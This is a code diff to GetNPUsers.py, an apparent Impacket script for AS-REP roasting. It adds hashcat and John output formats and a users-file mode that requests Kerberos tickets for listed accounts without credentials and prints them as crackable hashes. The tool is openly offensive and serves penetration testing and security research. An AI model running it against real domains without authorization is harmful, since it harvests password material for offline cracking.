diff --git a/examples/GetNPUsers.py b/examples/GetNPUsers.py index bfa48b80..658d47bc 100755 --- a/examples/GetNPUsers.py +++ b/examples/GetNPUsers.py @@ -69,6 +69,8 @@ def __init__(self, username, password, domain, cmdLineOptions): self.__nthash = '' self.__no_pass = cmdLineOptions.no_pass self.__outputFileName = cmdLineOptions.outputfile + self.__outputFormat = cmdLineOptions.format + self.__usersFile = cmdLineOptions.usersfile self.__aesKey = cmdLineOptions.aesKey self.__doKerberos = cmdLineOptions.k self.__requestTGT = cmdLineOptions.request @@ -176,11 +178,16 @@ def getTGT(self, userName, requestPAC=True): # The user doesn't have UF_DONT_REQUIRE_PREAUTH set raise Exception('User %s doesn\'t have UF_DONT_REQUIRE_PREAUTH set' % userName) - - # Let's output the TGT enc-part/cipher in John format, in case somebody wants to use it. - return '$krb5asrep$%d$%s@%s:%s$%s' % ( asRep['enc-part']['etype'], clientName, domain, + if self.__outputFormat == 'john': + # Let's output the TGT enc-part/cipher in John format, in case somebody wants to use it. + return '$krb5asrep$%s@%s:%s$%s' % (clientName, domain, hexlify(asRep['enc-part']['cipher'].asOctets()[:16]), hexlify(asRep['enc-part']['cipher'].asOctets()[16:])) + else: + # Let's output the TGT enc-part/cipher in Hashcat format, in case somebody wants to use it. + return '$krb5asrep$%d$%s@%s:%s$%s' % ( asRep['enc-part']['etype'], clientName, domain, + hexlify(asRep['enc-part']['cipher'].asOctets()[:16]), + hexlify(asRep['enc-part']['cipher'].asOctets()[16:])) @staticmethod def outputTGT(entry, fd=None): @@ -198,6 +205,11 @@ def run(self): else: target = self.__domain + if self.__usersFile: + self.request_users_file_TGTs() + return + + # Are we asked not to supply a password? if self.__no_pass is True: # Yes, just ask the TGT and exit @@ -294,23 +306,34 @@ def run(self): print '\n\n' if self.__requestTGT is True: - # Get a TGT for the current user - if self.__outputFileName is not None: - fd = open(self.__outputFileName, 'w+') - else: - fd = None - for answer in answers: - try: - entry = self.getTGT(answer[0]) - self.outputTGT(entry,fd) - except Exception , e: - logging.error('%s' % str(e)) - if fd is not None: - fd.close() + usernames = [answer[0] for answer in answers] + self.request_multiple_TGTs(usernames) else: print "No entries found!" + def request_users_file_TGTs(self): + + with open(self.__usersFile) as fi: + usernames = [line.strip() for line in fi] + + self.request_multiple_TGTs(usernames) + + def request_multiple_TGTs(self, usernames): + if self.__outputFileName is not None: + fd = open(self.__outputFileName, 'w+') + else: + fd = None + for username in usernames: + try: + entry = self.getTGT(username) + self.outputTGT(entry, fd) + except Exception, e: + logging.error('%s' % str(e)) + if fd is not None: + fd.close() + + # Process command-line arguments. if __name__ == '__main__': @@ -326,6 +349,12 @@ def run(self): 'in JtR/hashcat format (default False)') parser.add_argument('-outputfile', action='store', help='Output filename to write ciphers in JtR/hashcat format') + + parser.add_argument('-format', choices=['hashcat', 'john'], default='hashcat', + help='format to save the AS_REQ of users without pre-authentication. Default is hashcat') + + parser.add_argument('-usersfile', help='File with user per line to test') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') group = parser.add_argument_group('authentication') @@ -355,6 +384,9 @@ def run(self): "it will require you to have emily\'s password. (If you don\'t specify it, it will be asked by the script)" print "\n3. Request TGTs for all users" print "\n\tGetNPUsers.py contoso.com/emily:password -request or GetNPUsers.py contoso.com/emily" + print "\n4. Request TGTs for users in a file" + print "\n\tGetNPUsers.py contoso.com/ -no-pass -usersfile users.txt" + print "\nFor this operation you don\'t need credentials." sys.exit(1) options = parser.parse_args()